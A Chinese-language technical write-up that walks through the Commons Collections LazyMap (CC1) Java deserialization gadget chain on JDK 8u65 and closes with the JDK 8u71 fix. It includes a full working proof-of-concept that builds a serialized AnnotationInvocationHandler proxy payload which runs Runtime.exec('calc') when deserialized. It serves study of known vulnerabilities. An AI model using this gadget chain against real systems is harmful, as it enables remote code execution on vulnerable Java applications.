先看TransformdMap链
实验环境: JDK-8u65、commons-collections 3.2.1
在ysoserialize工具中的链子使用LazyMap来构造链子的,接下来分析一下LazyMap这条链子。后面调用InvokerTransformer类的利用点都是一样的。
跟踪到LzyMap类中:进入到IF判断后,调用factory的transform方法;要想进入到IF判断,那么key不能在map集合中;
factory参数是Transform类型的,可以控制,传参为chainedTransformer,就可以把后面的RCE链起来。
接下来就是找哪里调用到了get方法(不同类中的同名方法),其实在AnnotationInvocationHandler类中就有get方法
通过搜索,有5处调用了get方法。分别是inovke、equalsImpl、readObject方法中调用了get方法,分析发现readObject中的get方法无法利用,因为memberTypes参数无法控制,都是注解的成员方法,无法传入LazyMap对象。
这条链子利用的是invoke方法,因为这条链子用到了动态代理(在反序列化利用链中的场景:不管调用目标类的什么方法,只要有方法调用 ,都会触发InvocationHandler接口实现类中的invoke方法)
刚好的是AnnotationInvocationHandler类就是InvocationHandler接口的实现类,并且按照动态代理的概念,可以在实现类中重写invoke方法并增加目标类的功能点。
分析invoke方法:里面的get方法是通过memberValues参数调用的,而该memberValues参数通过构造方法获得,我们可控,只需传入LazyMap对象即可链起来
那么现在的问题就是:如何触发invoke方法,并且还需要在反序列化时必须调用目标类的某个方法,才能触发invoke方法,最后把链子连起来
看一下AnnotationInvocationHandler类的readObject方法有没有能利用的点:可控参数memberValues调用了entrySet方法
分析:该方法是Map接口中的一个方法,返回映射中包含的映射的 Set 视图。Set 视图意思是 Map 中所有的键值对都被看作是一个 set 集合。
而利用类LazyMap刚好是有间接的继承关系的,相当于说LazyMap类继承了entrySet方法,那么此处就可以作为触发invoke方法的点
思路大概就是:
AnnotationInvocationHandler.readObject
$Proxy1.entrySet(动态代理自动生成,目标类:LazyMap)
AnnotationInvocationHandler.invoke
LazyMap.get
执行顺序:
1.AnnotationInvocationHandler.readObject 执行到 for (Map.Entry memberValue : memberValues.entrySet()) 进入动态代理。
2.动态代理调用AnnotationInvocationHandler.invoke ,然后执行到了memberValues.get(member); 就跳转到 LazyMap.get()
3.LazyMap.get() 调用factory.transform(),连上链子,从而实现命令执行
编写POC,还是利用LazyMap的静态方法decorate方法来创建对象,并控制该对象传入的参数
POC分析:
创建2个实现类AnnotationInvocationHandler的对象,第二个对象的第二个参数传入代理对象,调用目标类的entrySet方法,从而触发invoke方法调用
35行的HashMap也不需要传入内容,定义即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; /** * @author shiyingai * @create 2023-03-07 13:02 */ public class CC2 { public static void main(String[] args) throws Exception { Transformer[] transforms = new Transformer[]{ new ConstantTransformer(Runtime.class), // 必须写在第一行,先获得Runtime类 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transforms); // 以上代码是为了实现Runtime参与序列化,反射调用RCE Map<Object,Object> map = new HashMap<>(); Map<Object,Object> decorateMap = LazyMap.decorate(map,chainedTransformer); // 返回一个LazyMap对象,返回类型是一个Map Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class,decorateMap); // 创捷实现类AnnotationInvocationHandler对象 Map proxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler); // 创建代理对象,因为实现类AnnotationInvocationHandler第二个参数是Map类型,所以强转成Map类型 // 第二种写法:因为继承关系,所以直接就是写Map类即可 // Map proxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},handler); Object object = annotationInvocationHandlerConstructor.newInstance(Target.class,proxy); // 传入代理对象,调用目标类的entrySet方法,从而触发invoke方法调用 // 对AnnotationInvocationHandler类进行序列化 serialize(object); // 对AnnotationInvocationHandler类进行反序列化 unserialize("ser.bin"); } // 序列化 public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } // 反序列化 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
注意:
引入动态代理的条件
实现 InvocationHandler 接口
重写invoke()方法
动态代理是可以被序列化的
执行POC
JDK8u71修复内容
分析:
memberValues参数是通过过GetField获取,无法控制。针对TransformdMap链的setValue方法也直接没有了。